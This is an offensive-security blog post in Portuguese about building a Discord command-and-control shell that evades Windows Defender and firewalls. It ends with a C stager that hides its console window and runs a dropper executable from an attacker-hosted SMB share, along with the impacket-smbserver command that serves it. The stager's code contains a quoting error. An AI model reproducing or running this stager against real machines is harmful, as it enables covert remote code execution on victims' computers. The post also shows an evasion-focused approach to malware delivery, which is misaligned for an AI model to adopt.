Armando Discord Shell via SMB

Dec 04 2022
No blog/vídeo anterior (https://medium.com/@lsecqt/using-discord-as-command-and-control-c2-with-python-and-nuitka-8fdced161fdd / https://youtu.

No blog/vídeo anterior (https:///@lsecqt/using-discord-as-command-and-control-c2-with-python-and-nuitka-8fdced161fdd/https://youtu.be/LnXOtHhCx08) discutimos como utilizar o Discord para executar comandos remotos. Desta vez abordaremos as limitações mencionadas.

Se preferir assistir a um vídeo em vez de ler, sinta-se bem-vindo ao meu canal:https://youtu.be/Bocf7xM7XWQ

Embora os resultados tenham sido bons (ignorando o Windows Defender, ignorando as restrições do firewall enviando/recebendo comandos em um canal confiável e criptografado), tivemos que lidar com um tamanho de arquivo extremamente grande (mais de 40 MB), além de ocultar o processo e a experiência da GUI .

Eu tive várias ideias que vou passar agora, no final cada ideia tem seu próprio espaço para o fracasso. Não posso dizer que desenvolvi um shell estável, mas meio que consegui algo para funcionar. Vamos começar!

Ideia 1 — Criar um bot do Discord com C#

O problema com python e nuitka era o enorme tamanho do arquivo, porque o nuitka precisava compilar e combinar todas as bibliotecas incluídas. O código personalizado é pequeno, todo o bot não tinha mais de 40 linhas de código. Mesmo que o bot esteja funcionando perfeitamente, é perigoso soltar um executável de mais de 40 MB no alvo.

Isso me fez pensar em formas alternativas de criar o shell. Minha ideia inicial era criar o bot com framework .net. Você pode perguntar por que não .net core? Bem, o .net framework está pré-instalado em todos os PCs com Windows, o que significa que se eu compilar um código em executável, ele será executado sem problemas. Se eu fosse construí-lo no .net core, eu praticamente teria 2 opções.

1. Envie todas as minhas DLLs junto com o executável.

2. Compile um PE independente.

Quando me aprofundei na biblioteca do Discord para C# (https://discordnet.dev/guides/introduction/intro.html) Percebi que a única opção para mim é construí-lo com .net core, já que o .net framework acabou ficando sem suporte. Depois de muitas tentativas de fazê-lo funcionar no framework .net, fiquei chateado e decidi tentar uma abordagem diferente.

Você pode perguntar agora, por que não ir com a opção 2? Bem, eu fui com isso e enfrentei praticamente o mesmo problema. O binário .net core era ainda maior que o nuitka.

Talvez haja uma maneira de executá-lo no framework .net, mas é necessário mais tempo de pesquisa e teste, deixarei isso para o futuro! Se movendo!

Idéia 2 - Bom e Velho Nim

Depois de pesquisar em quais idiomas posso construir o bot, surpreendentemente, me deparei com o Nim e sua biblioteca Dimscord (https://github.com/krisppurg/dimscord). Eu tentei isso com um pouco de ceticismo, mas descobri que o bot estava funcionando bem e o tamanho do arquivo era pequeno. Perfeito!

Como todas as coisas que parecem perfeitas, não são!

Nim teve um problema geral e esse é o suporte SSL. Quando você compila e usa o bot na mesma máquina, ele funciona de maneira incrível. Assim que você transfere isso para a caixa da vítima, você vê que:

Sim, você precisa executar suas DLLs SSL junto com seu executável. Não é tão perfeito né? Claro, muita pesquisa foi feita sobre como isso pode ser contornado, mas minhas esperanças morreram quando vi isso:

https://github.com/nim-lang/Nim/issues/19099

Se movendo!

Ideia 3 — Preparar o binário original de Nuitka

Até agora, essa foi a minha melhor ideia desse tipo de trabalho. Acho melhor executar a solicitação SMB do que descartar mais de 40 MB executáveis ​​no destino.

A ideia aqui é simples, hospedar o binário com impacket-smbserver e criar um C POC simples para prepará-lo! Vamos percorrer o código C:

#include <stdio.h>
#include <windows.h>

int main()
{
  HWND myWindow = GetConsoleWindow();
  ShowWindow(myWindow, SW_HIDE);
  system(\\\\IP\\shareName\\dropper.exe");
}

A próxima parte é simples, execute o arquivo no compartilhamento remoto.

Depois de hospedá-lo com:

impacket-smbserver smb . -ts -debug -smb2support

Empacotando

Claro, há muito espaço para melhorar, mas até agora as coisas estão ficando cada vez melhores. No futuro, podemos tentar ocultar o stager em si ou mudar completamente a abordagem novamente.

Espero que isso dê uma boa base de como você pode pensar fora da caixa e encontrar uma solução hacky para um problema.

Sinta-se bem-vindo ao meu servidor Discord (sem bots C2, não se preocupe), onde compartilhamos experiência e conhecimento:https://discord.gg/dWCe5ZMvtQ

Além disso, gostaria de receber seu apoio se inscrevendo no meu Youtube:https://www.youtube.com/c/Lsecqt, isso significa muito para mim!

Espero que tenham gostado e aprendido algo novo!

Se você quiser apoiar meu trabalho, pode fazê-lo com cafés e Bitcoin:

https://www.buymeacoffee.com/lsecqt

3HmYmnPKZuwZZktW9Q9HAP8Gk9EWTjc4TC